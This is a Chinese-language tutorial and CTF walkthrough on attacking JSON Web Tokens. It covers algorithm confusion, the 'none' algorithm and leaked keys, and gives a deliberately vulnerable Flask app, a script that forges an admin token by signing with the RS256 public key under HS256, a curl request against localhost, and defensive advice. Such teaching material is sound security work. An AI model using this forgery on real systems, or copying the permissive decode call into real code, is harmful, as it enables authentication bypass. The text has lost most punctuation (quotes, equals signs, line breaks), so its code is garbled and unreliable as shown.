JWT攻击详解与CTF实战
JWT攻击详解与CTF实战什么是JWTJSON Web TokenJWT是一种基于JSON的开放标准RFC 7519用于在各方之间安全传输信息。它通常用于身份验证和授权场景例如用户登录后服务器生成一个JWT令牌客户端在后续请求中携带该令牌以证明身份。JWT的结构由三部分组成以点号.分隔-Header包含令牌类型和加密算法如HS256、RS256。-Payload包含声明claims如用户ID、过期时间等。-Signature用于验证令牌的完整性防止篡改。一个典型的JWT看起来像eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjE3MDAwMDAwMDB9.abc123signature然而JWT的安全性依赖于实现细节如果配置不当或存在漏洞攻击者可以绕过验证伪造令牌。本文将深入剖析常见的JWT攻击原理并通过CTF实战演示如何利用这些漏洞。## 常见JWT攻击原理### 1. 算法混淆攻击JWT支持多种签名算法如HS256对称加密和RS256非对称加密。攻击者可以篡改Header中的alg字段例如将RS256改为HS256然后使用公钥作为密钥对JWT进行签名。如果服务器没有严格验证算法类型就会接受这个伪造的令牌。原理RS256使用私钥签名、公钥验证HS256使用同一个密钥进行签名和验证。如果服务器误将公钥当作HS256的密钥攻击者就可以用公钥伪造令牌。### 2. 空签名攻击如果JWT库的配置不当可能允许alg字段设置为none表示不进行签名验证。攻击者只需移除Signature部分并将Header中的alg改为none即可绕过签名检查。### 3. 密钥泄露如果JWT使用的密钥如HS256的对称密钥或RS256的私钥被泄露攻击者可以直接伪造任意令牌。## CTF实战算法混淆攻击在CTFCapture The Flag竞赛中JWT攻击是常见题型。下面通过一个Python Flask应用模拟真实场景演示如何利用算法混淆漏洞。### 环境搭建首先安装必要的库bashpip install flask pyjwt### 漏洞代码示例以下是一个存在算法混淆漏洞的JWT验证服务python# jwt_vuln_app.pyfrom flask import Flask, request, jsonifyimport jwtapp Flask(__name__)# 假设公钥是公开的私钥由服务端持有但未用于验证PUBLIC_KEY -----BEGIN PUBLIC KEY-----\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJXoHl3s3YQJ6R5YQ6s1f8Kz4vF5gH7s\n-----END PUBLIC KEY-----PRIVATE_KEY fake_private_key # 假设已泄露但攻击者不知道app.route(/login, methods[POST])def login(): 模拟登录接口返回JWT令牌 username request.json.get(username, guest) # 使用RS256签名正常流程 token jwt.encode({user: username, exp: 9999999999}, PRIVATE_KEY, algorithmRS256) return jsonify({token: token})app.route(/admin, methods[GET])def admin(): 受保护的管理员接口需要JWT验证 token request.headers.get(Authorization, ).replace(Bearer , ) if not token: return jsonify({error: No token}), 401 try: # 漏洞解码时未指定算法或使用不安全的解码方式 # 这里使用jwt.decode但传入公钥且允许算法混淆 payload jwt.decode(token, PUBLIC_KEY, algorithms[HS256, RS256]) if payload.get(user) admin: return jsonify({flag: CTF{you_hacked_jwt}}) else: return jsonify({msg: Not admin}), 403 except Exception as e: return jsonify({error: str(e)}), 401if __name__ __main__: app.run(debugTrue, port5000)漏洞分析- 服务器在/admin接口中使用jwt.decode时传入了公钥PUBLIC_KEY并允许HS256和RS256两种算法。- 攻击者可以获取公钥通常公开然后将Header中的alg改为HS256使用公钥作为密钥签名从而伪造JWT。### 攻击代码示例攻击者使用Python脚本生成一个伪造的JWT令牌python# jwt_attack.pyimport jwtimport base64# 公钥从服务器或公开来源获取PUBLIC_KEY -----BEGIN PUBLIC KEY-----\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJXoHl3s3YQJ6R5YQ6s1f8Kz4vF5gH7s\n-----END PUBLIC KEY-----# 伪造的payload目标是成为adminpayload { user: admin, exp: 9999999999 # 设置一个远期的过期时间}# 关键步骤使用HS256算法并用公钥作为密钥签名# 因为服务器会使用公钥验证HS256签名的JWT所以攻击者可以伪造forged_token jwt.encode(payload, PUBLIC_KEY, algorithmHS256)print(fForged JWT: {forged_token})# 验证伪造令牌本地测试try: decoded jwt.decode(forged_token, PUBLIC_KEY, algorithms[HS256]) print(fDecoded payload: {decoded})except Exception as e: print(fError: {e})运行攻击脚本bashpython jwt_attack.py输出示例Forged JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.abc123signatureDecoded payload: {user: admin, exp: 9999999999}然后攻击者可以使用该令牌访问/admin接口bashcurl -H Authorization: Bearer forged_token http://localhost:5000/admin服务器会返回json{flag: CTF{you_hacked_jwt}}## 防御措施1.严格验证算法在解码JWT时指定允许的算法列表并拒绝none算法。例如使用jwt.decode(token, public_key, algorithms[RS256])。2.避免算法混淆不要将公钥用于对称算法如HS256确保密钥类型与算法匹配。3.使用强密钥对称密钥应足够复杂且保密非对称密钥的私钥应妥善保管。4.更新库版本使用最新版本的JWT库修复已知漏洞。## 总结JWT攻击是Web安全中的重要话题本文从原理出发详细介绍了算法混淆和空签名等常见攻击方式并通过一个CTF实战案例演示了如何利用漏洞伪造令牌。攻击者通过篡改Header中的alg字段将非对称算法改为对称算法并使用公钥作为密钥成功绕过验证。防御的关键在于严格限制算法类型、避免密钥混用并保持库的更新。掌握这些技术不仅能提升CTF解题能力也能在实际开发中构建更安全的系统。